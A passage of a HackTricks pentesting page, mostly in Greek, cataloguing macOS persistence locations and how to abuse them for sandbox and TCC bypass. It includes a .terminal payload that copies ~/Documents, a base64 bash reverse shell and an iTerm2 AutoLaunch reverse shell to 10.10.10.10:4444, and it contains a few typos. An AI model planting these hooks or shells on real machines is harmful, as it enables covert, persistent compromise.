macOS Auto Start

Support HackTricks

Αυτή η ενότητα βασίζεται σε μεγάλο βαθμό στη σειρά blog Beyond the good ol' LaunchAgents, ο στόχος είναι να προσθέσουμε περισσότερες τοποθεσίες αυτόματης εκκίνησης (αν είναι δυνατόν), να υποδείξουμε ποιες τεχνικές λειτουργούν ακόμα σήμερα με την τελευταία έκδοση του macOS (13.4) και να προσδιορίσουμε τις άδειες που απαιτούνται.

Sandbox Bypass

Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για sandbox bypass που σας επιτρέπουν να εκτελέσετε κάτι απλά γράφοντας το σε ένα αρχείο και περιμένοντας για μια πολύ συνηθισμένη ενέργεια, μια καθορισμένη ποσότητα χρόνου ή μια ενέργεια που μπορείτε συνήθως να εκτελέσετε από μέσα σε ένα sandbox χωρίς να χρειάζεστε δικαιώματα root.

Launchd

  • Χρήσιμο για την παράκαμψη του sandbox:

  • TCC Bypass: 🔴

Τοποθεσίες

  • /Library/LaunchAgents

  • Trigger: Επανεκκίνηση

  • Απαιτείται root

  • /Library/LaunchDaemons

  • Trigger: Επανεκκίνηση

  • Απαιτείται root

  • /System/Library/LaunchAgents

  • Trigger: Επανεκκίνηση

  • Απαιτείται root

  • /System/Library/LaunchDaemons

  • Trigger: Επανεκκίνηση

  • Απαιτείται root

  • ~/Library/LaunchAgents

  • Trigger: Επανασύνδεση

  • ~/Library/LaunchDemons

  • Trigger: Επανασύνδεση

Ως ενδιαφέρον γεγονός, launchd έχει μια ενσωματωμένη λίστα ιδιοτήτων στην ενότητα Mach-o __Text.__config που περιέχει άλλες γνωστές υπηρεσίες που πρέπει να εκκινήσει το launchd. Επιπλέον, αυτές οι υπηρεσίες μπορεί να περιέχουν το RequireSuccess, RequireRun και RebootOnSuccess που σημαίνει ότι πρέπει να εκτελούνται και να ολοκληρώνονται με επιτυχία.

Φυσικά, δεν μπορεί να τροποποιηθεί λόγω υπογραφής κώδικα.

Περιγραφή & Εκμετάλλευση

launchd είναι η πρώτη διαδικασία που εκτελείται από τον πυρήνα του OX S κατά την εκκίνηση και η τελευταία που ολοκληρώνεται κατά την απενεργοποίηση. Πρέπει πάντα να έχει το PID 1. Αυτή η διαδικασία θα διαβάσει και θα εκτελέσει τις ρυθμίσεις που υποδεικνύονται στα ASEP plists σε:

  • /Library/LaunchAgents: Πράκτορες ανά χρήστη που εγκαθίστανται από τον διαχειριστή

  • /Library/LaunchDaemons: Daemons συστήματος που εγκαθίστανται από τον διαχειριστή

  • /System/Library/LaunchAgents: Πράκτορες ανά χρήστη που παρέχονται από την Apple.

  • /System/Library/LaunchDaemons: Daemons συστήματος που παρέχονται από την Apple.

Όταν ένας χρήστης συνδέεται, οι plists που βρίσκονται σε /Users/$USER/Library/LaunchAgents και /Users/$USER/Library/LaunchDemons εκκινούνται με τις άδειες των συνδεδεμένων χρηστών.

Η κύρια διαφορά μεταξύ πρακτόρων και daemons είναι ότι οι πράκτορες φορτώνονται όταν ο χρήστης συνδέεται και οι daemons φορτώνονται κατά την εκκίνηση του συστήματος (καθώς υπάρχουν υπηρεσίες όπως το ssh που πρέπει να εκτελούνται πριν οποιοσδήποτε χρήστης αποκτήσει πρόσβαση στο σύστημα). Επίσης, οι πράκτορες μπορεί να χρησιμοποιούν GUI ενώ οι daemons πρέπει να εκτελούνται στο παρασκήνιο.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Υπάρχουν περιπτώσεις όπου ένας agent πρέπει να εκτελείται πριν ο χρήστης συνδεθεί, αυτές ονομάζονται PreLoginAgents. Για παράδειγμα, αυτό είναι χρήσιμο για την παροχή υποστηρικτικής τεχνολογίας κατά την είσοδο. Μπορούν επίσης να βρεθούν στο /Library/LaunchAgents (δείτε εδώ ένα παράδειγμα).

Νέα αρχεία ρυθμίσεων Daemons ή Agents θα φορτωθούν μετά την επόμενη επανεκκίνηση ή χρησιμοποιώντας launchctl load <target.plist> Είναι επίσης δυνατό να φορτωθούν αρχεία .plist χωρίς αυτή την επέκταση με launchctl -F <file> (ωστόσο αυτά τα αρχεία plist δεν θα φορτωθούν αυτόματα μετά την επανεκκίνηση). Είναι επίσης δυνατό να ξεφορτωθούν με launchctl unload <target.plist> (η διαδικασία που υποδεικνύεται από αυτό θα τερματιστεί),

Για να διασφαλίσετε ότι δεν υπάρχει τίποτα (όπως μια υπέρβαση) που να εμποδίζει έναν Agent ή Daemon να τρέξει, εκτελέστε: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist

Λίστα με όλους τους agents και daemons που έχουν φορτωθεί από τον τρέχοντα χρήστη:

launchctl list

Αν ένα plist ανήκει σε έναν χρήστη, ακόμα και αν βρίσκεται σε φακέλους συστήματος daemon, η εργασία θα εκτελείται ως ο χρήστης και όχι ως root. Αυτό μπορεί να αποτρέψει κάποιες επιθέσεις ανύψωσης δικαιωμάτων.

Περισσότερες πληροφορίες σχετικά με το launchd

launchd είναι η πρώτη διαδικασία χρήστη που ξεκινά από τον kernel. Η εκκίνηση της διαδικασίας πρέπει να είναι επιτυχής και δεν μπορεί να τερματιστεί ή να καταρρεύσει. Είναι ακόμη προστατευμένη από ορισμένα σήματα τερματισμού.

Ένα από τα πρώτα πράγματα που θα κάνει το launchd είναι να ξεκινήσει όλους τους daemons όπως:

  • Daemons χρονοδιακόπτη που εκτελούνται με βάση τον χρόνο:

  • atd (com.apple.atrun.plist): Έχει ένα StartInterval 30 λεπτών

  • crond (com.apple.systemstats.daily.plist): Έχει StartCalendarInterval για να ξεκινά στις 00:15

  • Δίκτυα daemons όπως:

  • org.cups.cups-lpd: Ακούει σε TCP (SockType: stream) με SockServiceName: printer

  • SockServiceName πρέπει να είναι είτε μια θύρα είτε μια υπηρεσία από το /etc/services

  • com.apple.xscertd.plist: Ακούει σε TCP στην θύρα 1640

  • Path daemons που εκτελούνται όταν αλλάζει μια καθορισμένη διαδρομή:

  • com.apple.postfix.master: Ελέγχει τη διαδρομή /etc/postfix/aliases

  • Daemons ειδοποιήσεων IOKit:

  • com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...

  • Mach port:

  • com.apple.xscertd-helper.plist: Υποδεικνύει στην καταχώρηση MachServices το όνομα com.apple.xscertd.helper

  • UserEventAgent:

  • Αυτό είναι διαφορετικό από το προηγούμενο. Κάνει το launchd να δημιουργεί εφαρμογές σε απάντηση σε συγκεκριμένα γεγονότα. Ωστόσο, σε αυτή την περίπτωση, το κύριο δυαδικό που εμπλέκεται δεν είναι το launchd αλλά το /usr/libexec/UserEventAgent. Φορτώνει πρόσθετα από τον περιορισμένο φάκελο SIP /System/Library/UserEventPlugins/ όπου κάθε πρόσθετο υποδεικνύει τον αρχικοποιητή του στο κλειδί XPCEventModuleInitializer ή, στην περίπτωση παλαιότερων πρόσθετων, στο λεξικό CFPluginFactories κάτω από το κλειδί FB86416D-6164-2070-726F-70735C216EC0 του Info.plist του.

αρχεία εκκίνησης shell

Writeup: https://theevilbit.github.io/beyond/beyond_0001/ Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Χρήσιμο για να παρακαμφθεί το sandbox:

  • Παράκαμψη TCC:

  • Αλλά χρειάζεστε να βρείτε μια εφαρμογή με μια παράκαμψη TCC που εκτελεί ένα shell που φορτώνει αυτά τα αρχεία

Τοποθεσίες

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

  • Trigger: Άνοιγμα ενός τερματικού με zsh

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

  • Trigger: Άνοιγμα ενός τερματικού με zsh

  • Απαιτείται root

  • ~/.zlogout

  • Trigger: Έξοδος από ένα τερματικό με zsh

  • /etc/zlogout

  • Trigger: Έξοδος από ένα τερματικό με zsh

  • Απαιτείται root

  • Πιθανώς περισσότερα στο: man zsh

  • ~/.bashrc

  • Trigger: Άνοιγμα ενός τερματικού με bash

  • /etc/profile (δεν λειτούργησε)

  • ~/.profile (δεν λειτούργησε)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

  • Trigger: Αναμένονται να ενεργοποιηθούν με xterm, αλλά δεν είναι εγκατεστημένο και ακόμη και μετά την εγκατάσταση, εμφανίζεται αυτό το σφάλμα: xterm: DISPLAY is not set

Περιγραφή & Εκμετάλλευση

Όταν ξεκινάτε ένα περιβάλλον shell όπως το zsh ή το bash, ορισμένα αρχεία εκκίνησης εκτελούνται. Το macOS χρησιμοποιεί αυτή τη στιγμή το /bin/zsh ως προεπιλεγμένο shell. Αυτό το shell προσπελάζεται αυτόματα όταν εκκινείται η εφαρμογή Terminal ή όταν αποκτάται πρόσβαση σε μια συσκευή μέσω SSH. Ενώ το bash και το sh είναι επίσης παρόντα στο macOS, χρειάζεται να κληθούν ρητά για να χρησιμοποιηθούν.

Η σελίδα man του zsh, την οποία μπορούμε να διαβάσουμε με man zsh, έχει μια εκτενή περιγραφή των αρχείων εκκίνησης.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Επαναλειτουργία Εφαρμογών

Η ρύθμιση της υποδεικνυόμενης εκμετάλλευσης και η αποσύνδεση και σύνδεση ή ακόμα και η επανεκκίνηση δεν λειτούργησε για μένα για να εκτελέσω την εφαρμογή. (Η εφαρμογή δεν εκτελούνταν, ίσως χρειάζεται να είναι σε λειτουργία όταν εκτελούνται αυτές οι ενέργειες)

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

  • Χρήσιμο για να παρακαμφθεί το sandbox:

  • Παράκαμψη TCC: 🔴

Τοποθεσία

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • Trigger: Επανεκκίνηση επαναλειτουργίας εφαρμογών

Περιγραφή & Εκμετάλλευση

Όλες οι εφαρμογές που θα επαναλειτουργήσουν βρίσκονται μέσα στο plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Έτσι, για να κάνετε τις επαναλειτουργούσες εφαρμογές να εκτελούν τη δική σας, απλώς χρειάζεται να προσθέσετε την εφαρμογή σας στη λίστα.

Το UUID μπορεί να βρεθεί καταγράφοντας αυτή τη διεύθυνση ή με ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

Για να ελέγξετε τις εφαρμογές που θα επαναλειτουργήσουν μπορείτε να κάνετε:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Για να προσθέσετε μια εφαρμογή σε αυτή τη λίστα μπορείτε να χρησιμοποιήσετε:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Terminal Preferences

  • Χρήσιμο για να παρακάμψει το sandbox:

  • Παράκαμψη TCC:

  • Η χρήση του Terminal απαιτεί άδειες FDA από τον χρήστη που το χρησιμοποιεί

Location

  • ~/Library/Preferences/com.apple.Terminal.plist

  • Trigger: Άνοιγμα του Terminal

Description & Exploitation

Στο ~/Library/Preferences αποθηκεύονται οι προτιμήσεις του χρήστη στις Εφαρμογές. Ορισμένες από αυτές τις προτιμήσεις μπορεί να περιέχουν μια ρύθμιση για εκτέλεση άλλων εφαρμογών/σκριπτών.

Για παράδειγμα, το Terminal μπορεί να εκτελέσει μια εντολή κατά την εκκίνηση:

Αυτή η ρύθμιση αντικατοπτρίζεται στο αρχείο ~/Library/Preferences/com.apple.Terminal.plist όπως αυτό:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Έτσι, αν το plist των προτιμήσεων του τερματικού στο σύστημα μπορούσε να αντικατασταθεί, τότε η open λειτουργία μπορεί να χρησιμοποιηθεί για να ανοίξει το τερματικό και αυτή η εντολή θα εκτελείται.

Μπορείτε να το προσθέσετε αυτό από το cli με:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Terminal Scripts / Άλλες επεκτάσεις αρχείων

  • Χρήσιμο για να παρακάμψει το sandbox:

  • Παράκαμψη TCC:

  • Χρήση Terminal για να έχει άδειες FDA ο χρήστης που το χρησιμοποιεί

Τοποθεσία

  • Οπουδήποτε

  • Ενεργοποίηση: Άνοιγμα Terminal

Περιγραφή & Εκμετάλλευση

Αν δημιουργήσεις ένα .terminal script και το ανοίξεις, η εφαρμογή Terminal θα ενεργοποιηθεί αυτόματα για να εκτελέσει τις εντολές που αναφέρονται εκεί. Αν η εφαρμογή Terminal έχει κάποιες ειδικές άδειες (όπως TCC), η εντολή σου θα εκτελείται με αυτές τις ειδικές άδειες.

Δοκίμασέ το με:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

You could also use the extensions .command, .tool, with regular shell scripts content and they will be also opened by Terminal.

Αν το terminal έχει Πλήρη Πρόσβαση Δίσκου, θα μπορεί να ολοκληρώσει αυτή την ενέργεια (σημειώστε ότι η εντολή που εκτελείται θα είναι ορατή σε ένα παράθυρο terminal).

Audio Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0013/ Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • Χρήσιμο για να παρακάμψετε το sandbox:

  • TCC bypass: 🟠

  • Μπορεί να αποκτήσετε κάποια επιπλέον πρόσβαση TCC

Location

  • /Library/Audio/Plug-Ins/HAL

  • Απαιτείται root

  • Trigger: Επανεκκίνηση του coreaudiod ή του υπολογιστή

  • /Library/Audio/Plug-ins/Components

  • Απαιτείται root

  • Trigger: Επανεκκίνηση του coreaudiod ή του υπολογιστή

  • ~/Library/Audio/Plug-ins/Components

  • Trigger: Επανεκκίνηση του coreaudiod ή του υπολογιστή

  • /System/Library/Components

  • Απαιτείται root

  • Trigger: Επανεκκίνηση του coreaudiod ή του υπολογιστή

Description

Σύμφωνα με τις προηγούμενες αναφορές, είναι δυνατό να συγκεντρωθούν κάποια audio plugins και να φορτωθούν.

QuickLook Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0028/

  • Χρήσιμο για να παρακάμψετε το sandbox:

  • TCC bypass: 🟠

  • Μπορεί να αποκτήσετε κάποια επιπλέον πρόσβαση TCC

Location

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/AppNameHere/Contents/Library/QuickLook/

  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

Description & Exploitation

Τα QuickLook plugins μπορούν να εκτελούνται όταν προκαλείτε την προεπισκόπηση ενός αρχείου (πατήστε το πλήκτρο διαστήματος με το αρχείο επιλεγμένο στο Finder) και ένα plugin που υποστηρίζει αυτόν τον τύπο αρχείου είναι εγκατεστημένο.

Είναι δυνατό να συγκεντρώσετε το δικό σας QuickLook plugin, να το τοποθετήσετε σε μία από τις προηγούμενες τοποθεσίες για να το φορτώσετε και στη συνέχεια να πάτε σε ένα υποστηριζόμενο αρχείο και να πατήσετε το πλήκτρο διαστήματος για να το προκαλέσετε.

Login/Logout Hooks

Αυτό δεν λειτούργησε για μένα, ούτε με το LoginHook του χρήστη ούτε με το LogoutHook του root

Writeup: https://theevilbit.github.io/beyond/beyond_0022/

  • Χρήσιμο για να παρακάμψετε το sandbox:

  • TCC bypass: 🔴

Location

  • Πρέπει να μπορείτε να εκτελέσετε κάτι σαν defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh

  • Located in ~/Library/Preferences/com.apple.loginwindow.plist

Είναι απαρχαιωμένα αλλά μπορούν να χρησιμοποιηθούν για να εκτελούν εντολές όταν συνδέεται ένας χρήστης.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Αυτή η ρύθμιση αποθηκεύεται στο /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Για να το διαγράψετε:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

The root user one is stored in /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Conditional Sandbox Bypass

Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για sandbox bypass που σας επιτρέπει να εκτελέσετε κάτι απλά γράφοντας το σε ένα αρχείο και περιμένοντας όχι πολύ κοινές συνθήκες όπως συγκεκριμένα προγράμματα εγκατεστημένα, "ασυνήθιστες" ενέργειες χρηστών ή περιβάλλοντα.

Cron

Writeup: https://theevilbit.github.io/beyond/beyond_0004/

  • Χρήσιμο για να παρακάμψετε το sandbox:

  • Ωστόσο, πρέπει να μπορείτε να εκτελέσετε το δυαδικό crontab

  • Ή να είστε root

  • TCC bypass: 🔴

Location

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/

  • Απαιτείται root για άμεση πρόσβαση εγγραφής. Δεν απαιτείται root αν μπορείτε να εκτελέσετε crontab <file>

  • Trigger: Εξαρτάται από τη δουλειά cron

Description & Exploitation

Λίστα με τις δουλειές cron του τρέχοντος χρήστη με:

crontab -l

Μπορείτε επίσης να δείτε όλα τα cron jobs των χρηστών στο /usr/lib/cron/tabs/ και /var/at/tabs/ (χρειάζεται root).

Στο MacOS, αρκετοί φάκελοι που εκτελούν scripts με ορισμένη συχνότητα μπορούν να βρεθούν σε:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Εκεί μπορείτε να βρείτε τις κανονικές cron εργασίες, τις at εργασίες (όχι πολύ χρησιμοποιούμενες) και τις περιοδικές εργασίες (κυρίως χρησιμοποιούνται για τον καθαρισμό προσωρινών αρχείων). Οι καθημερινές περιοδικές εργασίες μπορούν να εκτελούνται για παράδειγμα με: periodic daily.

Για να προσθέσετε μια εργασία cron χρήστη προγραμματισμένα είναι δυνατόν να χρησιμοποιήσετε:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Writeup: https://theevilbit.github.io/beyond/beyond_0002/

  • Χρήσιμο για να παρακαμφθεί το sandbox:

  • Παράκαμψη TCC:

  • Το iTerm2 είχε παραχωρηθεί άδειες TCC

Τοποθεσίες

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

  • Trigger: Άνοιγμα του iTerm

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

  • Trigger: Άνοιγμα του iTerm

  • ~/Library/Preferences/com.googlecode.iterm2.plist

  • Trigger: Άνοιγμα του iTerm

Περιγραφή & Εκμετάλλευση

Τα σενάρια που αποθηκεύονται στο ~/Library/Application Support/iTerm2/Scripts/AutoLaunch θα εκτελούνται. Για παράδειγμα:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

ή:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

Το σενάριο ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt θα εκτελείται επίσης:

do shell script "touch /tmp/iterm2-autolaunchscpt"

Οι ρυθμίσεις του iTerm2 που βρίσκονται στο ~/Library/Preferences/com.googlecode.iterm2.plist μπορούν να υποδείξουν μια εντολή προς εκτέλεση όταν ανοίγει το τερματικό iTerm2.

Αυτή η ρύθμιση μπορεί να διαμορφωθεί στις ρυθμίσεις του iTerm2:

Και η εντολή αντικατοπτρίζεται στις ρυθμίσεις:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Μπορείτε να ορίσετε την εντολή που θα εκτελείται με:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Υπάρχει μεγάλη πιθανότητα να υπάρχουν άλλοι τρόποι κατάχρησης των ρυθμίσεων του iTerm2 για την εκτέλεση αυθαίρετων εντολών.

xbar

Writeup: https://theevilbit.github.io/beyond/beyond_0007/

  • Χρήσιμο για να παρακαμφθεί το sandbox:

  • Αλλά το xbar πρέπει να είναι εγκατεστημένο

  • Παράκαμψη TCC:

  • Ζητά άδειες προσβασιμότητας

Τοποθεσία

  • ~/Library/Application\ Support/xbar/plugins/

  • Trigger: Μόλις εκτελεστεί το xbar

Περιγραφή

Εάν είναι εγκατεστημένο το δημοφιλές πρόγραμμα xbar, είναι δυνατόν να γραφτεί ένα shell script στο ~/Library/Application\ Support/xbar/plugins/ το οποίο θα εκτελείται όταν ξεκινά το xbar:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Writeup: https://theevilbit.github.io/beyond/beyond_0008/

  • Χρήσιμο για να παρακαμφθεί το sandbox:

  • Αλλά το Hammerspoon πρέπει να είναι εγκατεστημένο

  • Παράκαμψη TCC:

  • Ζητά άδειες προσβασιμότητας

Location

  • ~/.hammerspoon/init.lua

  • Trigger: Μόλις εκτελεστεί το hammerspoon

Description

Hammerspoon λειτουργεί ως πλατφόρμα αυτοματοποίησης για macOS, αξιοποιώντας τη γλώσσα προγραμματισμού LUA για τις λειτουργίες του. Σημαντικά, υποστηρίζει την ενσωμάτωση πλήρους κώδικα AppleScript και την εκτέλεση shell scripts, ενισχύοντας σημαντικά τις δυνατότητες scripting του.

Η εφαρμογή αναζητά ένα μόνο αρχείο, ~/.hammerspoon/init.lua, και όταν ξεκινήσει, το script θα εκτελεστεί.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • Χρήσιμο για να παρακαμφθεί το sandbox:

  • Αλλά το BetterTouchTool πρέπει να είναι εγκατεστημένο

  • TCC bypass:

  • Ζητά άδειες Automation-Shortcuts και Accessibility

Location

  • ~/Library/Application Support/BetterTouchTool/*

Αυτό το εργαλείο επιτρέπει να υποδεικνύονται εφαρμογές ή σενάρια που θα εκτελούνται όταν πατηθούν ορισμένα συντομεύσεις. Ένας επιτιθέμενος μπορεί να είναι σε θέση να ρυθμίσει τη δική του συντόμευση και ενέργεια για εκτέλεση στη βάση δεδομένων για να εκτελέσει αυθαίρετο κώδικα (μια συντόμευση θα μπορούσε να είναι απλώς να πατηθεί ένα πλήκτρο).

Alfred

  • Χρήσιμο για να παρακαμφθεί το sandbox:

  • Αλλά το Alfred πρέπει να είναι εγκατεστημένο

  • TCC bypass:

  • Ζητά άδειες Automation, Accessibility και ακόμη και Full-Disk access

Location

  • ???

Επιτρέπει τη δημιουργία ροών εργασίας που μπορούν να εκτελούν κώδικα όταν πληρούνται ορισμένες προϋποθέσεις. Πιθανώς είναι δυνατό για έναν επιτιθέμενο να δημιουργήσει ένα αρχείο ροής εργασίας και να κάνει το Alfred να το φορτώσει (είναι απαραίτητο να πληρώσετε την premium έκδοση για να χρησιμοποιήσετε ροές εργασίας).

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • Χρήσιμο για να παρακαμφθεί το sandbox:

  • Αλλά το ssh πρέπει να είναι ενεργοποιημένο και χρησιμοποιούμενο

  • TCC bypass:

  • Η χρήση SSH απαιτεί FDA access

Location

  • ~/.ssh/rc

  • Trigger: Σύνδεση μέσω ssh

  • /etc/ssh/sshrc

  • Απαιτείται root

  • Trigger: Σύνδεση μέσω ssh

Για να ενεργοποιήσετε το ssh απαιτείται Full Disk Access:

sudo systemsetup -setremotelogin on

Περιγραφή & Εκμετάλλευση

Από προεπιλογή, εκτός αν υπάρχει PermitUserRC no στο /etc/ssh/sshd_config, όταν ένας χρήστης συνδέεται μέσω SSH τα σενάρια /etc/ssh/sshrc και ~/.ssh/rc θα εκτελούνται.

Στοιχεία Σύνδεσης

Writeup: https://theevilbit.github.io/beyond/beyond_0003/

  • Χρήσιμο για να παρακαμφθεί το sandbox:

  • Αλλά πρέπει να εκτελέσετε το osascript με args

  • TCC bypass: 🔴

Τοποθεσίες

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • Trigger: Σύνδεση

  • Payload εκμετάλλευσης αποθηκευμένο καλώντας osascript

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • Trigger: Σύνδεση

  • Απαιτείται δικαιώματα root

Περιγραφή

Στις Προτιμήσεις Συστήματος -> Χρήστες & Ομάδες -> Στοιχεία Σύνδεσης μπορείτε να βρείτε στοιχεία που θα εκτελούνται όταν ο χρήστης συνδέεται. Είναι δυνατή η καταγραφή τους, η προσθήκη και η αφαίρεση από τη γραμμή εντολών:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osasc